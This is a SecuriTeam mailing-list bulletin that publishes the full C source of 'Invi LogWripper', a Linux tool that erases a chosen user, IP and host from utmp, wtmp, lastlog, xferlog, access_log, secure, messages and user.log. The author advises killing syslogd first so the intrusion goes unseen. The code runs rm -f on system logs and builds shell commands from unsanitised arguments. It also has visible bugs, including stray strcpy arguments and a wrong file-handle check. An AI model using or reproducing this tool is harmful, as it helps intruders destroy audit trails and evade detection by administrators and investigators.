The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Invi LogWripper
------------------------------------------------------------------------
SUMMARY
DETAILS
Invi LogWripper is a Linux based log wipe program that attempts to delete
some known log files.
In order to make LogWripper effective, it is highly recommended to kill
syslog, ksyslog and any other log generation application.
Code:
/**************************
* Invi LogWripper
* Created By
* InvisibleKnow
***************************
*This program look the files:
*
*-UTMP
*
*-WTMP
*
*-LASTLOG
*
*-xferlog
*
*-user.log
*
*-/var/log/httpd/access_log
*
*-/var/log/secure
*
*-/var/log/messages
*
*
And it delete You from them... ;)
*
*
But you have to remembe:
*
1) Greep And Kill syslogd
*
*
*
2) This program delete some logs, so, looking for others logs
*
*
It worked for me and it will work for you, if you're not a script-kiddie.
*
*
* My Best Wishes,
* Invisible
*
*******************************************************************************/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <utmp.h>
#include <fcntl.h>
#include <sys/types.h>
#include <lastlog.h>
#include <pwd.h>
int main(int argc, char *argv[]) {
struct utmp u;
int f, fo, fz, size, sizel;
int acc;
char us[32], h[256], ipp[256];
char usn[32], hn[256], linen[32], ippn[256];
char buff[500];
if (argc!=4) {
printf("%s <user> <IP> <Host>\n",argv[0]);
exit(-1);
}
size=sizeof(u);
strcpy(us,argv[1]);
strcpy(h,argv[3]);
strcpy(ipp,argv[2]);
strcpy(usn,"Fuck",0);
strcpy(hn,"Fucked.com",0);
strcpy(linen,"tty2",0);
strcpy(ippn,"SuckIt.it",0);
/*UTMP DELETING..*/
f=open("/var/run/utmp",
O_RDWR);
if (f<0) {
perror("open");
exit(-1);
}
while(read(f,&u,size)==size) {
if (!strcmp(u.ut_user, us)){
lseek(f, -1*size,SEEK_CUR);
strcpy(u.ut_line,linen);
strcpy(u.ut_user,usn);
strcpy(u.ut_host,hn);
write(f,&u,size);
}
}
printf("Edited
UTMP file!\n");
close(f);
/*WTMP DELETING*/
fz=open("/var/log/wtmp",O_RDONLY);
if (f<0) {
perror("open");
exit(-1);
}
fo=open("wtmp",O_WRONLY|O_CREAT);
if (fo<0) {
perror("open");
exit(-1);
}
while (read (fz, &u, size) == size) {
if ( (!strcmp(u.ut_user, us)) || (!strncmp(u.ut_host, ipp,
strlen(ipp))) || (!strncmp(u.ut_host, h, strlen(h))) ) {
/*Found :D well let's go on, and then i write on fo other people
logged not I :D*/
}
else write (fo, &u, size) ;
}
close(fz);
close(fo);
system("mv wtmp /var/log/wtmp");
printf("Edited WTMP file!\n");
/*LASTLOG DELETING..*/
struct lastlog l;
struct passwd *p;
sizel=sizeof(l);
f=open("/var/log/lastlog",
O_RDWR);
if (f<0) {
perror("open");
exit(-1);
}
if ((p=getpwnam(us))!=NULL) {
l.ll_time=0;
strcpy(l.ll_line,linen);
strcpy(l.ll_host,hn);
lseek(f, sizel*p->pw_uid,SEEK_SET);
write(f,&l,sizel);
printf("Edited LASTLOG file!\n");
} else printf("LastLog not
Found!\n");
close(f);
/*USER.LOG HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/user.log > temp");
system(buff);
//sleep(1);
//printf("Grepped user.log!\n");
system("rm -f /var/log/user.log");
//sleep(1);
system("mv temp /var/log/user.log");
printf("user.log
HosT edited\n");
/*XFERLOG HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/xferlog > temp");
system(buff);
//sleep(1);
//printf("Grepped xferlog!\n");
system("rm -f /var/log/xferlog");
//sleep(1);
system("mv temp /var/log/xferlog");
printf("xferlog HosT edited\n");
/*USER.LOG IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/user.log > temp");
system(buff);
//sleep(1);
//printf("Grepped user.log!\n");
system("rm -f /var/log/user.log");
//sleep(1);
system("mv temp /var/log/user.log");
printf("user.log IP edited\n");
/*XFERLOG IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/xferlog > temp");
system(buff);
//sleep(1);
//printf("Grepped xferlog!\n");
system("rm -f /var/log/xferlog");
//sleep(1);
system("mv temp /var/log/xferlog");
printf("xferlog IP edited\n");
/*HTTPD HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/httpd/access_log > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/httpd/access_log");
//sleep(1);
system("mv temp /var/log/httpd/access_log");
printf("HTTPD HosT edited\n");
/*HTTPD IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/httpd/access_log > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/httpd/access_log");
//sleep(1);
system("mv temp /var/log/httpd/access_log");
printf("HTTPD IP edited\n");
/*HTTPD HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/secure > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/secure");
//sleep(1);
system("mv temp /var/log/secure");
printf("SECURE HosT edited\n");
/*HTTPD IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/secure > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/secure");
//sleep(1);
system("mv temp /var/log/secure");
printf("SECURE IP edited\n");
/*MESSAGES HosT*/
strcpy(buff,"grep -v ");
strcat(buff,h);
strcat(buff," /var/log/messages > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/messages");
//sleep(1);
system("mv temp /var/log/messages");
printf("MESSAGES HosT edited\n");
/*MESSAGES IP*/
strcpy(buff,"grep -v ");
strcat(buff,ipp);
strcat(buff," /var/log/messages > temp");
system(buff);
//sleep(1);
//printf("Grepped HTTPD!\n");
system("rm -f /var/log/messages");
//sleep(1);
system("mv temp /var/log/messages");
printf("MESSAGES IP edited\n");
}
/* EoF */
ADDITIONAL INFORMATION
The information has been provided by <mailto:devyer@gmail.com> devy.
For the latest version of this tool visit the project's homepage at:
<http://colander.altervista.org/> http://colander.altervista.org/
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
